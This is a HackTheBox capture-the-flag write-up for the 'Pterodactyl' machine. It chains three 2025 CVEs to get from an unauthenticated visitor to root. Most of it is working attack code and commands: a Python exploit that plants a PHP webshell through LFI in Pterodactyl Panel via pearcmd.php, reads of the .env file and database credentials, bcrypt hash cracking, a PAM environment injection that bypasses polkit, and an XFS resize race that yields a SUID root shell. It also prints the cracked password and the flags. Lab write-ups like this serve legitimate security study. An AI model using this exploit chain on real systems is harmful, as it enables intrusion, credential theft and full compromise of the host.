← Back to Writeups
HTBMediumInfrastructure

Pterodactyl

XESXOR9/10/20267 min read
#infrastructure#htb#medium#bcrypt_hash_cracking#dbus_filesystem_resize#pam_environment_injection#pearcmd_lfi_to_rce#polkit_allow_active_bypass#suid_root_via_nosuid_bypass#xfs_db_inode_patching#xfs_resize_race_condition#cve-2025-49132

Pterodactyl

Platform: HackTheBox | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: bcrypt_hash_cracking, dbus_filesystem_resize, pam_environment_injection, pearcmd_lfi_to_rce, polkit_allow_active_bypass, suid_root_via_nosuid_bypass, xfs_db_inode_patching, xfs_resize_race_condition

Summary

Walkthrough of the HackTheBox Infrastructure Pterodactyl. Task: HackTheBox Full Pwn machine with openSUSE Leap 15.6 and Pterodactyl Panel v1.11.10. Solution: Chain of three CVEs — LFI via pearcmd.php for RCE, PAM environment injection for polkit bypass, XFS

Description

HackTheBox Full Pwn machine. openSUSE Leap 15.6 с Pterodactyl Panel v1.11.10. Три CVE в цепочке: LFI → RCE → polkit bypass → race condition → root.

Target: 10.129.4.204 (HTB VPN) OS: openSUSE Leap 15.6 (Kernel 6.4.0-150600.23.65-default, Btrfs) Services: SSH (22), nginx (80), PHP-FPM (9000), MariaDB (3306), Redis (6379), Postfix (25) Web: Pterodactyl Panel v1.11.10 on panel.pterodactyl.htb Flag format: 32-char hex hashes

Analysis

Hard-level machine with a chain of three 2025 CVEs. Key characteristics:

  1. Pterodactyl Panel v1.11.10 — vulnerable to LFI via locale loading (CVE-2025-49132)
  2. openSUSE Leap 15.6 — PAM user_readenv=1 by default allows environment variable injection (CVE-2025-6018)
  3. libblockdev 2.26 — race condition during XFS resize creates temporary mount without nosuid (CVE-2025-6019)
  4. targetpw in sudoers — trap: sudo (ALL) ALL is useless without root password

Hint for privesc — email from headmonitor about "Unusual udisksd activity".

Solution

Step 1: Reconnaissance

bash
nmap -sV -sC -p- 10.129.4.204 --open -T4
PortServiceDetails
22/tcpSSHOpenSSH
80/tcpnginxTwo vhosts: pterodactyl.htb (static), panel.pterodactyl.htb (Pterodactyl Panel)

Pterodactyl Panel v1.11.10 identified on panel.pterodactyl.htb.

Step 2: Initial Access — CVE-2025-49132 (Pterodactyl Panel LFI → RCE)

Pterodactyl Panel v1.11.10 has unauthenticated LFI via endpoint /locales/locale.json — parameters locale and namespace allow path traversal.

Key technique: including pearcmd.php (/usr/share/php/PEAR/pearcmd.php on openSUSE) allows using PEAR config-create to write arbitrary PHP files.

Exploit rce.py (two-stage):

python
#!/usr/bin/env python3
"""
CVE-2025-49132 — Pterodactyl Panel LFI via pearcmd.php
Stage 1: Write PHP payload via pearcmd config-create to /var/tmp/
Stage 2: Include the written file via LFI to execute commands
"""
import requests
import sys

TARGET = "http://panel.pterodactyl.htb"

def stage1_write_payload():
    """Use pearcmd.php config-create to write PHP webshell to /var/tmp/"""
    # LFI to include pearcmd.php with config-create argument
    # pearcmd config-create writes arbitrary content to a file
    url = f"{TARGET}/locales/../../../../usr/share/php/PEAR/pearcmd.php"
    params = {
        # PEAR config-create <root_path> <filename>
        # root_path becomes the content of the config file
        "+config-create": "",
        "/<?php system($_GET['cmd']);?>": "",
        "/var/tmp/shell.php": ""
    }
    r = requests.get(url, params=params)
    return r.status_code == 200

def stage2_execute(cmd):
    """Include the written PHP file via LFI"""
    url = f"{TARGET}/locales/../../../../var/tmp/shell.php"
    r = requests.get(url, params={"cmd": cmd})
    return r.text

if __name__ == "__main__":
    stage1_write_payload()
    print(stage2_execute(sys.argv[1] if len(sys.argv) > 1 else "id"))

Result: RCE as wwwrun (uid 474, web server user on openSUSE).

Step 3: Post-Exploitation as wwwrun

Extracted information:

bash
# Laravel .env — APP_KEY, DB credentials
cat /var/www/pterodactyl/.env
# → DB: pterodactyl:PteraPanel

# Wings daemon config
cat /etc/pterodactyl/config.yml

# Users with shell
grep -v nologin /etc/passwd
# → root, headmonitor (uid 1001), phileasfogg3 (uid 1002)

MariaDB dump:

bash
mysql -u pterodactyl -pPteraPanel -e "SELECT username,password FROM panel.users"
# → bcrypt hashes for headmonitor and phileasfogg3

Configured SSH key for wwwrun → port forwarding to MariaDB (3306), Redis (6379), Postfix (25).

Step 4: User Flag — Cracking bcrypt Hash

User flag accessible via RCE: /home/phileasfogg3/user.txt

8b17af63d3760785fab2da25a546f528

Cracking phileasfogg3's password:

bash
# Save hash
echo 'phileasfogg3:$2y$10$...' > hash.txt

# John the Ripper with rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Password: !QAZ2wsx — keyboard walk pattern (Shift+1, Shift+2... down the left side of keyboard).

bash
ssh phileasfogg3@10.129.4.204  # Password: !QAZ2wsx

Step 5: Enumeration as phileasfogg3

bash
sudo -l
# → (ALL) ALL, BUT with targetpw — requires ROOT password, not user's!
# This is the default openSUSE sudoers configuration — a trap!

# No SUID, no capabilities, no writable cron/systemd

Critical hint — email:

bash
cat /var/mail/phileasfogg3
# → Email from headmonitor:
# → "Unusual udisksd activity" + "apply pending updates"

This directly points to udisks2 as the privesc vector.

bash
rpm -q udisks2 libblockdev
# → udisks2 2.9.2 (with btrfs module)
# → libblockdev 2.26

Step 6: Privilege Escalation Phase 1 — CVE-2025-6018 (PAM Environment Injection)

Vulnerability: On openSUSE Leap 15 / SUSE Linux Enterprise 15, the pam_env module reads ~/.pam_environment by default (user_readenv=1). pam_env executes BEFORE pam_systemd in the PAM stack.

Exploitation: Injecting XDG_SEAT=seat0 and XDG_VTNR=1 forces pam_systemd to assign a local seat to the SSH session → polkit grants allow_active (normally only for physical console).

bash
# Create ~/.pam_environment
echo 'XDG_SEAT OVERRIDE=seat0' > ~/.pam_environment
echo 'XDG_VTNR OVERRIDE=1' >> ~/.pam_environment

# Reconnect via SSH
exit
ssh phileasfogg3@10.129.4.204

Verification:

bash
loginctl show-session $(loginctl | grep phileasfogg3 | awk '{print $1}')
# → Seat=seat0
# → Active=yes

Now udisksctl loop-setup and udisksctl mount work without authentication!

Step 7: Privilege Escalation Phase 2 — CVE-2025-6019 (libblockdev XFS Resize Race)

Vulnerability: When calling Filesystem.Resize via D-Bus, the internal helper fs_mount() in libblockdev temporarily mounts the filesystem in /tmp/blockdev.XXXXXX WITHOUT nosuid/nodev flags. This is needed for XFS (xfs_growfs requires a mounted FS).

Important: btrfs resize was NOT supported by this version of udisks2 — XFS is the only correct choice.

Creating XFS payload image (entirely on target machine):

bash
# Create 300MB XFS image (minimum size for mkfs.xfs)
truncate -s 300M /tmp/xfs.image
/sbin/mkfs.xfs -f /tmp/xfs.image

# Patch root directory — make world-writable via xfs_db
/usr/sbin/xfs_db -x /tmp/xfs.image -c 'inode 128' -c 'write core.mode 040777'

# Mount via udisksctl, copy bash
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
# → /dev/loop0
udisksctl mount -b /dev/loop0 --no-user-interaction
# → /run/media/phileasfogg3/<UUID>

# Copy bash to image
cp /bin/bash /run/media/phileasfogg3/<UUID>/bash
chmod 4555 /run/media/phileasfogg3/<UUID>/bash

# Unmount
udisksctl unmount -b /dev/loop0 --no-user-interaction

Patching inode via xfs_db (key technique!):

bash
# Patch bash inode — set owner=root and SUID bit
# This works WITHOUT root privileges — we're writing directly to raw image!
/usr/sbin/xfs_db -x /tmp/xfs.image <<'EOF'
inode 131
write core.uid 0
write core.gid 0
write core.mode 0104555
quit
EOF

Why xfs_db: File transfer to the machine was extremely slow/unreliable. Creating SUID root payload entirely on target machine via raw inode metadata patching — the only reliable method.

Executing the exploit:

bash
# Kill gvfs to prevent auto-mount interference
killall -KILL gvfs-udisks2-volume-monitor

# Set up loop device
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction

# Start race loop — will execute SUID bash when temp mount appears
while true; do
    /tmp/blockdev*/bash -p -c 'sleep 10; id; cat /root/root.txt' 2>/dev/null && break
done &

# Trigger XFS resize via D-Bus — creates temp mount WITHOUT nosuid!
gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

Result:

Error: ... Failed to unmount '/dev/loop0' after resizing it: target is busy
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
3e9f6b35b7b0189ee29c778c9b06ecf5

Resize "failed" because race loop keeps mount busy — but that's exactly what we need! SUID root bash executed with euid=0(root).

Mount verification:

/dev/loop0 on /tmp/blockdev.NJBTK3 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)

NO nosuid flag! — vulnerability confirmed.

Flags

User: 8b17af63d3760785fab2da25a546f528
Root: 3e9f6b35b7b0189ee29c778c9b06ecf5

Full Attack Chain

nmap → vhost discovery → Pterodactyl Panel v1.11.10
  → CVE-2025-49132: LFI via locale + pearcmd.php → RCE as wwwrun
    → .env leak → MariaDB dump → bcrypt hashes
      → john + rockyou → phileasfogg3:!QAZ2wsx → SSH
        → email hint: "unusual udisksd activity"
          → CVE-2025-6018: ~/.pam_environment → XDG_SEAT=seat0 → polkit allow_active
            → CVE-2025-6019: XFS image + xfs_db SUID patch → udisksctl mount
              → gdbus Filesystem.Resize → temp mount WITHOUT nosuid
                → race loop → SUID bash → euid=0 → root flag

Key Insights

  1. Email hint about "unusual udisksd activity" — direct pointer to privesc vector
  2. targetpw in openSUSE sudoers makes sudo (ALL) ALL useless without root password — common trap
  3. xfs_db for patching raw inode metadata — creating SUID root binary entirely on target machine without root privileges and without file transfer
  4. btrfs resize was NOT supported by this version of udisks2 — XFS is the only correct choice
  5. Race condition is very reliable — sleep 10 in race loop keeps mount busy long enough
  6. Keyboard walk patterns (!QAZ2wsx) — common pattern in CTF, worth adding to custom wordlists

References

Key Takeaways / Lessons

  • Mastering bcrypt_hash_cracking, dbus_filesystem_resize, pam_environment_injection, pearcmd_lfi_to_rce, polkit_allow_active_bypass, suid_root_via_nosuid_bypass, xfs_db_inode_patching, xfs_resize_race_condition was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-02-25 • HTB • Pterodactyl • Difficulty: Medium